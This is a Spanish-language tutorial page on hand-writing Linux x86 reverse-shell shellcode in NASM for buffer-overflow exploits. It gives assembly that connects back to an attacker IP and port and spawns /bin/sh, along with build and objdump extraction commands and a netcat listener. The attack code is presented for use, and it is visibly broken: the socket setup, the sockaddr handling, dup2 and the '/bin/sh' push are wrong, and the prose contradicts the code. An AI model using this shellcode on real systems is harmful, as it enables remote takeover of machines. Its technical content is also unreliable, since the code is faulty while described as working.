Generación Manual de Shellcode
bo
Para generar shellcode para un buffer overflow sin usar Metasploit (como con el comando
msfvenom
), puedes escribir el shellcode manualmente o usar herramientas alternativas. Si quieres hacerlo sin depender de Metasploit, una opción es generar el shellcode utilizando un ensamblador como nasm o utilizar alguna librería de shellcode ya disponible.
Vamos a ver como generar shellcode con asm (ensamblador).
Generar shellcode para una reverse shell en Assembly (ASM) implica varios pasos.
Codigo de assembly (ASM)
Este codigo nos dara una reverse shell en Linux
section .data
ip_address db '192.168.1.100' ; Dirección IP del atacante
port dw 4444 ; Puerto para la conexión
section .text
global _start
_start:
; Crear un socket
xor eax, eax ; limpiar eax
mov al, 0x66 ; syscall number para socketcall
xor ebx, ebx ; tipo de socket (AF_INET)
mov bl, 1 ; SOCK_STREAM
xor ecx, ecx ; protocolo (0 -> IP)
int 0x80 ; llamar al kernel
mov esi, eax ; el descriptor de archivo del socket
; Conectar al servidor remoto
xor eax, eax ; limpiar eax
mov al, 0x66 ; syscall number para socketcall
mov ebx, 3 ; sys_connect
lea ecx, [esp + 8] ; apuntar al sockaddr_in
int 0x80 ; llamar al kernel
; Redirigir la entrada/salida/errores a la conexión
; Duplica el descriptor del socket a stdin (0), stdout (1) y stderr (2)
xor eax, eax ; limpiar eax
mov al, 0x3f ; syscall number para dup2
xor ebx, ebx ; descriptor de archivo (0 para stdin)
mov bl, byte 0 ; descriptor de socket
int 0x80
; Ejecutar /bin/sh
xor eax, eax
mov al, 0x0b ; syscall para execve
xor ebx, ebx
push ebx ; null terminator
push dword '/bin/sh' ; string /bin/sh
mov ebx, esp ; apuntar a /bin/sh
xor ecx, ecx ; NULL (sin argumentos)
xor edx, edx ; NULL (sin variables de entorno)
int 0x80 ; llamada al kernel
; Salir
xor eax, eax
mov al, 1 ; syscall para exit
xor ebx, ebx
int 0x80
Explicandote la Reverse Shell en asm
Socket (sys_socketcall): El primer paso es crear un socket de red. Usamos la syscall socketcall
con el código 0
(crear socket) y especificamos el tipo de socket SOCK_STREAM
(TCP).
Conexión (sys_socketcall): Luego, usamos socketcall
con el código 3
(conectar). Pasamos la dirección IP y el puerto al que nos queremos conectar.
Redirección de descriptores: Usamos dup2
para redirigir los descriptores de archivo del socket a stdin
, stdout
y stderr
, lo que nos permite interactuar con la shell de la máquina víctima.
Ejecutar /bin/sh
(sys_execve): ejecutamos /bin/sh
, la shell del sistema, sobre el socket para obtener acceso a la máquina comprometida.
Compilar Assembly (ASM)
vamos a ver como compilar el codigo
Escribir el código en un archivo (reverse_shell.asm)
Compilar y enlazar usando NASM y GCC:
nasm -f elf32 -o reverse_shell.o reverse_shell.asm
ld -m elf_i386 -s -o reverse_shell reverse_shell.o
Extraer el shellcode:
Usa objdump
para volcar el contenido del archivo ejecutable y extraer el shellcode:
objdump -d reverse_shell | grep '[0-9a-f]' | cut -f2 -d: | tr -d '\n' | sed 's/ //g'
Este comando te dará un string hexadecimal largo el cual es el shellcode.
Reverse Shell en assembly (ASM)
nos ponemos en escucha con netcat
nc -lvnp 4444
Luego, al ejecutar el shellcode en la máquina víctima, deberías obtener la shell reversa o al agregarlo en el exploit de buffer overflow al ejecutar
Last updated